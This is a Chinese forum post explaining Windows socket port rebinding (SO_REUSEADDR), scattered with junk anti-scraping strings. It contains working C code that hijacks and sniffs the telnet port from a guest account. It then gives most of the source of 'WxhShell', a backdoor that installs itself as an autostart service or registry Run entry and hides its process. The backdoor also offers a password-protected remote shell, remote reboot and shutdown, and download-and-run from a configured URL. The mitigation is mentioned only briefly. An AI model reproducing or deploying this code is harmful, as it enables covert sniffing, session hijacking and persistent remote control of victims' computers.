社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16758阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;l`X!3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;E2kT GT  
!d|8'^gc  
  saddr.sin_family = AF_INET; x[}06k'  
E8;TLk4\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *K!7R2Rat  
M 5rwoyn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %Ht ^yemQ  
;zm ks]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ) :}Fu  
w&+\Wo;([b  
  这意味着什么?意味着可以进行如下的攻击: .q0AoM  
U$@83?O{iM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KQW!\y?$"  
BGA%"b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hOSf'mi  
5)x6Q|-u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 toN  
4 f3=`[%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !SN WB  
u mqKFM$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wjg}[R@!  
V4oak!}?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d.b?! kn  
6o9sR)c ?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XL?A w  
oEPNN'~3  
  #include E.4n}s  
  #include <q1'Li)_R  
  #include k{qLkcOg=  
  #include    \ j x0ZHR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I<9n(rA  
  int main() ){jqfkL  
  { D;J|eC>^  
  WORD wVersionRequested; S].Ft/+H  
  DWORD ret; !}j,TPpG  
  WSADATA wsaData; WkcH5[  
  BOOL val; zdT->%  
  SOCKADDR_IN saddr; Y"s )u7  
  SOCKADDR_IN scaddr; 8t--#sDy{0  
  int err; s.bT[0Vl  
  SOCKET s; 0~:e SWz=  
  SOCKET sc; M@5KoMsB9  
  int caddsize; +0dQORo  
  HANDLE mt; O '@m4@L   
  DWORD tid;   8_+vb#M  
  wVersionRequested = MAKEWORD( 2, 2 ); rt,0j/o.1  
  err = WSAStartup( wVersionRequested, &wsaData ); ^$8Vh =D  
  if ( err != 0 ) { `Q+i-y  
  printf("error!WSAStartup failed!\n"); Qh 1q  
  return -1;  =05iW  
  } w64.R4e  
  saddr.sin_family = AF_INET; A/ hpY a  
   S]5VEn;pV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N!.kq4$.  
4*YOFU}l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L;4[ k;5  
  saddr.sin_port = htons(23); @\S]]oLn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @yCW8]  
  { ;!^ +N  
  printf("error!socket failed!\n"); A-X  
  return -1; o- cj&Cv%  
  } X9DM ^tt  
  val = TRUE; ?'TA!MR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XTIu(f|d_;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JgxE|#*7U  
  { DBLA% {05  
  printf("error!setsockopt failed!\n"); $hyqYp"/;  
  return -1; uT'-B7N  
  } #: dR^zr<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C,9)V5!tP2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B#| Z`mZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :Pj W:]  
g?w2J6Z.`J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M" xZz  
  { uDpf2(>s  
  ret=GetLastError(); 87&KQ_  
  printf("error!bind failed!\n"); RI#lI~&)  
  return -1; )PsN_ 42~  
  } XKpL4]{&q4  
  listen(s,2); m]{<Ux  
  while(1) )RpqZe/h4  
  { oqm  
  caddsize = sizeof(scaddr); L`<T'3G  
  //接受连接请求 `wP/Zp{Hy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <Gbn PG?  
  if(sc!=INVALID_SOCKET) W?SP .-I  
  { HVtr,jg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R-=_z 6<  
  if(mt==NULL) E1$Hu{  
  {  5xG|35Pj  
  printf("Thread Creat Failed!\n"); \[@Q}k[  
  break; Y\+(rC27  
  } # q0Ub-  
  } 7}2sIf[I  
  CloseHandle(mt); Dq0-Kf,^  
  } bd@*vu}?}  
  closesocket(s); Pmqx ;  
  WSACleanup(); n25irCD`  
  return 0; ORV}j, Ym  
  }   V%X:1 8j  
  DWORD WINAPI ClientThread(LPVOID lpParam) c^i"}2+  
  { 'd|Q4RE+W  
  SOCKET ss = (SOCKET)lpParam; [0mFy) 6  
  SOCKET sc; ;zfQ3$@9  
  unsigned char buf[4096]; < fojX\}3  
  SOCKADDR_IN saddr; Fw(b1d>E  
  long num; ZXF AuF  
  DWORD val; ~rVKQ-+4&  
  DWORD ret; &4w\6IR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V6DBKq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d,GtH)(s  
  saddr.sin_family = AF_INET; [u`17hyX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o 2[vM$]  
  saddr.sin_port = htons(23); z5|e\Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hLDch5J5~  
  { c+,7Zu!  
  printf("error!socket failed!\n"); x>1iIpBv^  
  return -1; aB$y+`f)@  
  } ]Ssw32yn  
  val = 100; VJ~X#Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \Owful  
  { nG4Uk2>  
  ret = GetLastError(); yFPaWW  
  return -1; 8o8b'tW^  
  } b7W=HR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `:-@E2  
  { 3/A!_Uc(  
  ret = GetLastError(); Lo$Z>u4(c  
  return -1; wW6mYgPN%  
  } fg>B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) STFQ";z$  
  { 2A@Y&g(6T7  
  printf("error!socket connect failed!\n"); a in#_H  
  closesocket(sc); @);!x41f  
  closesocket(ss); 7/p J6>  
  return -1; jkQt'!  
  } F_p3:l  
  while(1) [9db=$v8$  
  { ';;p8bv+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .N zW@|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;Sx'O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  c{f:5 p  
  num = recv(ss,buf,4096,0); v -|P_O&z  
  if(num>0) %-1BA *J`|  
  send(sc,buf,num,0); L5V'Sr  
  else if(num==0) h a,=LV  
  break; ] dm1Qm  
  num = recv(sc,buf,4096,0); %h/#^esi  
  if(num>0) ^\7 x5gO  
  send(ss,buf,num,0); 2$SofG6D}  
  else if(num==0) ]2aYi9)  
  break; `Q1WVd29  
  } q{9X.-]}  
  closesocket(ss); lgv-)5|O+H  
  closesocket(sc); ]]h:#A2  
  return 0 ; Y^94iOk%T  
  } ?'ez.a}  
5 CY_Ay\  
P*0nT  
========================================================== [G'!`^V,  
[0tf Y0  
下边附上一个代码,,WXhSHELL m>*A0&??[  
E.H,1 {  
========================================================== .@8m\  
%X0NHta ~@  
#include "stdafx.h" k+7M|t.?4  
^sf[dr;BA  
#include <stdio.h> &k_wqV  
#include <string.h> PcNf TB{  
#include <windows.h> r:WgjjA%  
#include <winsock2.h> R[>;_}5">  
#include <winsvc.h> 7q2"b?|h  
#include <urlmon.h> Zy!)8<Cgm'  
tz0Ttu=xH  
#pragma comment (lib, "Ws2_32.lib") n ]6 0  
#pragma comment (lib, "urlmon.lib") wEHAkc)Q  
UgD'Bi  
#define MAX_USER   100 // 最大客户端连接数 ['}^;Y?*o  
#define BUF_SOCK   200 // sock buffer qUoMg%Z%l  
#define KEY_BUFF   255 // 输入 buffer V&4:nIS>z  
Ddm76LS  
#define REBOOT     0   // 重启 ~f]r>jQM  
#define SHUTDOWN   1   // 关机 syC"eH3{  
N[ Lz 0c?  
#define DEF_PORT   5000 // 监听端口 Y|0-m#1F#  
/_VRO9R\V  
#define REG_LEN     16   // 注册表键长度 qm'C^ X?  
#define SVC_LEN     80   // NT服务名长度 fa+W9  
C#**)  
// 从dll定义API ;Xd\$)n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^pQo`T6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k+q6U[ce  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M::IE|h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C)KtM YA,  
e??{&[  
// wxhshell配置信息 /|u]Y/ *  
struct WSCFG { }x#P<d(  
  int ws_port;         // 监听端口  wc+N  
  char ws_passstr[REG_LEN]; // 口令 T956L'.+G  
  int ws_autoins;       // 安装标记, 1=yes 0=no 49J+&G?)j  
  char ws_regname[REG_LEN]; // 注册表键名 mBpsgm:g^  
  char ws_svcname[REG_LEN]; // 服务名 WRcFE<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `6BS-AVO7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FbCZV3Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |B{$URu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'j"N2NJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "{ QHWZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6JFDRsX>)?  
N>}K+M>  
}; {OhkuON  
H-cBXp5z  
// default Wxhshell configuration R !%m5Q?5  
struct WSCFG wscfg={DEF_PORT, ?k:])^G5  
    "xuhuanlingzhe", Er/5 ,  
    1, Tm:#"h\F  
    "Wxhshell",  oRbYna?J  
    "Wxhshell", MZP><Je&  
            "WxhShell Service", `Z7ITvF>  
    "Wrsky Windows CmdShell Service", SAll9W4  
    "Please Input Your Password: ", R&=GB\`:a  
  1, mZ5K hPvf8  
  "http://www.wrsky.com/wxhshell.exe", :5cu,&<Gv  
  "Wxhshell.exe" @X6#$ex  
    }; +&N&D"9A  
H+#wj|,+\  
// 消息定义模块 @aD~YtL"n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a] wcA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; syN b0LR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;&^"q{m  
char *msg_ws_ext="\n\rExit."; qn"T? O  
char *msg_ws_end="\n\rQuit."; ;`of'9|  
char *msg_ws_boot="\n\rReboot..."; ^? {kj{v  
char *msg_ws_poff="\n\rShutdown..."; >ya-  
char *msg_ws_down="\n\rSave to "; vs0H^L  
;~Gpw/]5E  
char *msg_ws_err="\n\rErr!"; CU>K  
char *msg_ws_ok="\n\rOK!"; U)w|GrxX  
dzv,)X  
char ExeFile[MAX_PATH]; qVRO"/R  
int nUser = 0;  wpdEI(  
HANDLE handles[MAX_USER]; (z1%lZ}(  
int OsIsNt; vYt:}$AE  
9c;lTl^4;  
SERVICE_STATUS       serviceStatus; {5tEsv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; / ?[gB:s  
wCTR-pL^  
// 函数声明 iBiA0 W  
int Install(void); 5B.??;xtaV  
int Uninstall(void); W7[ S7kd  
int DownloadFile(char *sURL, SOCKET wsh); $9_.Q/9>  
int Boot(int flag); $}UJs <-F  
void HideProc(void); ihBl",l&Hq  
int GetOsVer(void); <:{[Zvl'k  
int Wxhshell(SOCKET wsl); ?a0}^:6  
void TalkWithClient(void *cs); q\HBAr y  
int CmdShell(SOCKET sock); 8}#Lo9:,d  
int StartFromService(void); ylxfh(  
int StartWxhshell(LPSTR lpCmdLine); }.$ B1%2  
Lr\ B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o>A%}YU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !g&B)0u]*  
KZ}4<{3  
// 数据结构和表定义 >)A  
SERVICE_TABLE_ENTRY DispatchTable[] = !6/IKh`J  
{ t02"v4_i  
{wscfg.ws_svcname, NTServiceMain}, l`%} {3r9  
{NULL, NULL} gcCYXPZp  
}; x[>_I1TJ  
k`~br249  
// 自我安装 ~\}EROb <  
int Install(void) Q fyERa\rb  
{ c3!|h1h/v  
  char svExeFile[MAX_PATH]; ^$,kTU'=  
  HKEY key; SyVbCj  
  strcpy(svExeFile,ExeFile); LLHOWD C(2  
;)]zv\fC  
// 如果是win9x系统,修改注册表设为自启动 :lQjy@J  
if(!OsIsNt) { .z>." `  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WAa1H60VkS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w@ylRq  
  RegCloseKey(key); kJeOlO[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U1|4vd9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c^WBB$v  
  RegCloseKey(key); %=<NqINM[  
  return 0; x15tQb+  
    } r~2@#gTbl  
  } ZznWs+  
} 7%}3Ghc%  
else { DJ [#H  
f EiEfu  
// 如果是NT以上系统,安装为系统服务 +;iesULXn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :(p rx   
if (schSCManager!=0) <({eOh5 N  
{ {]Iu">*  
  SC_HANDLE schService = CreateService U`p<lxRgQ  
  ( _w/N[E  
  schSCManager, `LU,uz  
  wscfg.ws_svcname, uv!qE1z@':  
  wscfg.ws_svcdisp, ~S>ba']  
  SERVICE_ALL_ACCESS, ![!b^:f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *g41"Cl  
  SERVICE_AUTO_START, 5XUI7Q%  
  SERVICE_ERROR_NORMAL, =l'_*B8  
  svExeFile, 6ch[B`[h,  
  NULL, QIV~)`;  
  NULL, ~JPzjE  
  NULL, i@^`~vj  
  NULL, <0 idG  
  NULL oNsx Fi:  
  ); P W<wjf,rQ  
  if (schService!=0) cRr `r[t  
  { MNmQ%R4jRN  
  CloseServiceHandle(schService); 9k^=m)yS'  
  CloseServiceHandle(schSCManager); iC+H;s5<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o5x^"#  
  strcat(svExeFile,wscfg.ws_svcname); /0B ?3&H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {lUl+_58  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;1k0o.3  
  RegCloseKey(key); }t-|^mY>  
  return 0; 3}1+"? s  
    } qTMz6D!Q  
  } ujqktrhuLb  
  CloseServiceHandle(schSCManager); W1`ZS*12D  
} BvR3Oi@Wc  
} ~2}ICU5  
[:S F(*}  
return 1; FOG+[v  
} >t }D5ah  
<sB45sNbU`  
// 自我卸载 qAik$.  
int Uninstall(void) =F[,-B~  
{ ^ 6|"=+cO\  
  HKEY key; \)uad5`N  
SZD2'UaG  
if(!OsIsNt) { 1AV1W_"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^v5hr>m  
  RegDeleteValue(key,wscfg.ws_regname); r8 >?-P  
  RegCloseKey(key); -y*+G&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (UT*T  
  RegDeleteValue(key,wscfg.ws_regname); .T-p]9*p  
  RegCloseKey(key); GnaV I  
  return 0; cS7!,XC  
  } cGp 6yf  
} "a{f? .X.  
} becQ5w/~  
else { Cjk AQ(9  
;<<IXXKU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O;?~#E<6w  
if (schSCManager!=0) Bcon4  
{ I>Yp=R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CWYJ<27v{  
  if (schService!=0) bLF0MVLM  
  { to=##&ld<  
  if(DeleteService(schService)!=0) { i}"JCqo2  
  CloseServiceHandle(schService); D}3fx[  
  CloseServiceHandle(schSCManager);  Vp^sER  
  return 0; H,~In2Z  
  } 5&@U T  
  CloseServiceHandle(schService); +0 |0X {v  
  } }TL"v|ny6;  
  CloseServiceHandle(schSCManager); Tou~U[V+  
} hI{Yg$H1  
} UQPE)G  
Oh4WYDyT  
return 1; F[Sat;Sll  
} dtl<  
iUBni&B  
// 从指定url下载文件 U.(_n  
int DownloadFile(char *sURL, SOCKET wsh) r1atyK  
{ 1dsxqN(:  
  HRESULT hr; \c}r6xOr  
char seps[]= "/"; j=S"KVp9NF  
char *token; wJkkc9Rh'(  
char *file; 2]ljm] \l  
char myURL[MAX_PATH]; +]vl8, 4@  
char myFILE[MAX_PATH]; iW~f  
_Z2)e*(  
strcpy(myURL,sURL); ?3N86Qj  
  token=strtok(myURL,seps); P@?CQvMx  
  while(token!=NULL) ':$a6f &T  
  { X5[sw;rk  
    file=token; T9?_ `h  
  token=strtok(NULL,seps); >WX'oP(<  
  } mIodD)?{  
$7YLU{0  
GetCurrentDirectory(MAX_PATH,myFILE); _Y {g5t  
strcat(myFILE, "\\"); rID]!7~  
strcat(myFILE, file); gHshG;z*  
  send(wsh,myFILE,strlen(myFILE),0); _4Pi>  
send(wsh,"...",3,0); Hefqzu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {!h[@f4  
  if(hr==S_OK) >,vuC4v-  
return 0; {p iS3xBi  
else Z4' v  
return 1; g\'84:*J\  
S~Q";C[&  
} 2fB@zF  
S5TT  
// 系统电源模块 e?WR={  
int Boot(int flag) u*`GIRfWT  
{ 9t1_"{'N1  
  HANDLE hToken; .`XA6e(8KR  
  TOKEN_PRIVILEGES tkp; $@;[K \  
IRa*}MJe  
  if(OsIsNt) { W0k q>s4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8<!9mgh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @oNrR$7  
    tkp.PrivilegeCount = 1; ERjf.7)d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D(|$6J 0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S(l^TF  
if(flag==REBOOT) { WcFZRy-erc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ! +7ve[z  
  return 0; HfPeR8I%i  
} "RA$Twhj  
else { OQvJdjST  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nl _Jp:8s  
  return 0; lc7]=,qyF  
} >0oc=9H8  
  } &tIm  
  else { r%i{a  
if(flag==REBOOT) { eSU8/9B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xy +|D#b  
  return 0; B#yyO>0k]  
} {r)M@@[  
else { ,P+&-}gn9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m>_'f{&u  
  return 0; Q23y.^W%c  
} .O^|MhBJu  
} 0 CS_-  
{5h_$a!TaU  
return 1; (%Rs&/vU~  
} ~fe0Ba4  
hlZjk0ez  
// win9x进程隐藏模块 J4i0+u  
void HideProc(void) /'&L M\  
{ sJWwkR  
O"Q=66.CR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [tN/}_]  
  if ( hKernel != NULL ) WyETg!b[  
  { |IvX7%*]~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F/Xhm91 ^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &Is%I<'o  
    FreeLibrary(hKernel); vI@8DWs  
  } x&d<IU)5  
Jo@9f(hq  
return; X(\RA.64  
} nDvWOt  
u[DV{o  
// 获取操作系统版本 n9^zAcUbAW  
int GetOsVer(void) LmE-&  
{ A5b}G  
  OSVERSIONINFO winfo; 8TZe=sD~cr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g d-fJ._1  
  GetVersionEx(&winfo); mN`a]L'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m[f\I^ \%8  
  return 1; %y q}4[S+o  
  else :?J$ +bm}  
  return 0; ' e@}N)IX  
} 'Vd>"ti  
?)&TewP  
// 客户端句柄模块 vKeK]  
int Wxhshell(SOCKET wsl) So:89T  
{ };*5+XY^  
  SOCKET wsh; iq#Z\Y(  
  struct sockaddr_in client; T1E=<q4  
  DWORD myID; (:1 j-  
Vk"QcW  
  while(nUser<MAX_USER) = 4If7  
{ [,dsV d  
  int nSize=sizeof(client); :MVD83?4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a'Z"Yz^Eo  
  if(wsh==INVALID_SOCKET) return 1; b+3pu\w `  
.jCdJ =z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4ZIXG,@mZJ  
if(handles[nUser]==0) &}]Wbk4:  
  closesocket(wsh); !q X 7   
else "elh~K  
  nUser++; vv u((b  
  } {9)f~EbM!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =k'dbcfO$9  
mXr)lA  
  return 0; &zZSWNW  
} ^%L$$V nG  
3eB2= _V`  
// 关闭 socket (8I0%n}.Zo  
void CloseIt(SOCKET wsh) 0ode&dB  
{ C8?/$1|RL  
closesocket(wsh); +#W5Qb}VR  
nUser--; Pw")|85  
ExitThread(0); (<ejJPWT  
} vq{:=:5'P  
R1nctA:  
// 客户端请求句柄 8wBns)wy@  
void TalkWithClient(void *cs) &~j"3G;e  
{ U+K_eEI0_I  
* .e^s3q$  
  SOCKET wsh=(SOCKET)cs; dG| iA]  
  char pwd[SVC_LEN]; {E9Y)Z9  
  char cmd[KEY_BUFF]; |89`O^   
char chr[1]; u!Z&c7kPI  
int i,j; 7 MfpZgC  
u$0>K,f  
  while (nUser < MAX_USER) { a}wB7B;,g  
6ugBbP +^  
if(wscfg.ws_passstr) { 'j.{o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rk'Dd4"m ,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S^_na]M"4  
  //ZeroMemory(pwd,KEY_BUFF); ?0.+DB $  
      i=0; `);`E_'U k  
  while(i<SVC_LEN) { xkX, l{6  
htjJ0>&  
  // 设置超时 |h#mv~cF  
  fd_set FdRead; cv^^NgQ  
  struct timeval TimeOut; `:8&m  
  FD_ZERO(&FdRead); W>"i0p  
  FD_SET(wsh,&FdRead); 6)TFb,  
  TimeOut.tv_sec=8; V3jx{BXs2  
  TimeOut.tv_usec=0; A81kb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xTe?*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q>.-u6(&  
Y4i-Pp?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4[6A~iC_  
  pwd=chr[0]; '\9A78NV{;  
  if(chr[0]==0xd || chr[0]==0xa) { $rdA0%;  
  pwd=0; `Z{7Ut^)  
  break; TPkm~>zD.  
  } xT@\FwPr  
  i++; 4Ld0AApncy  
    } 5L4~7/kj  
[P[syi#]t  
  // 如果是非法用户,关闭 socket +%FG ti$[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lVqvS/_k$  
} sl)_HA7G  
MOj 0"x)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gm*i='f!?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sI~{it#  
KB-7]H  
while(1) { VQX#P<  
6OVAsmE  
  ZeroMemory(cmd,KEY_BUFF); $ @^n3ZQ4  
QutQG  
      // 自动支持客户端 telnet标准   PPohpdd)  
  j=0; bzZEwMc6  
  while(j<KEY_BUFF) { /$B<+;L!#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vHao y  
  cmd[j]=chr[0]; 50CU|  
  if(chr[0]==0xa || chr[0]==0xd) { N?~K9jGx(  
  cmd[j]=0; ;X\!*Loe  
  break; NxNz(R $~  
  } -tDmzuD6  
  j++; ~_R=2t{u _  
    }  |,.glL  
w;X-i.%`  
  // 下载文件 WhvO-WF  
  if(strstr(cmd,"http://")) { `/#6k>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E9 |i:  
  if(DownloadFile(cmd,wsh)) h8nJ$jg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?+51 B-  
  else YncY_Hu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yaeX-'(Fv[  
  } k{9s>l~'  
  else { 5HmX-+XpK  
Xmtq~}K>  
    switch(cmd[0]) { 7XdLZ4ub  
  lqu1H&  
  // 帮助 &C?]n.A  
  case '?': { 5?QR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]` 3;8,  
    break; c,e 0+  
  } h(>4%hF  
  // 安装 ^f>+5G  
  case 'i': { 514;!Q4K  
    if(Install()) aN.Phn:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M,6m*  
    else (/c9v8Pr(7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3q<\ \8Y*  
    break; aWW|.#L  
    } 7Sr7a {  
  // 卸载 J5IQ  
  case 'r': { U2!9Tl9".  
    if(Uninstall()) z$;z&X$j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~g)gXPjke  
    else 'kPShZS$b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?/NxZ\  
    break; '%kk&&3'  
    } RBiDU}j  
  // 显示 wxhshell 所在路径 GtbI w  
  case 'p': { 6EJ,czt(  
    char svExeFile[MAX_PATH]; Q;SMwCB0M  
    strcpy(svExeFile,"\n\r"); HJM-;C](  
      strcat(svExeFile,ExeFile); Vhv<w O Ct  
        send(wsh,svExeFile,strlen(svExeFile),0); ]{Iy<  
    break; &rk /ya[  
    } vxK}f*d  
  // 重启 =3Y?U*d  
  case 'b': { %J7 ;b<}To  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H7*/  
    if(Boot(REBOOT)) a+IU<O-J?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |no '^  
    else { *cJ GrLC  
    closesocket(wsh); 9aYCU/3  
    ExitThread(0);  H 2\KI(  
    } d+Pfi)+(I  
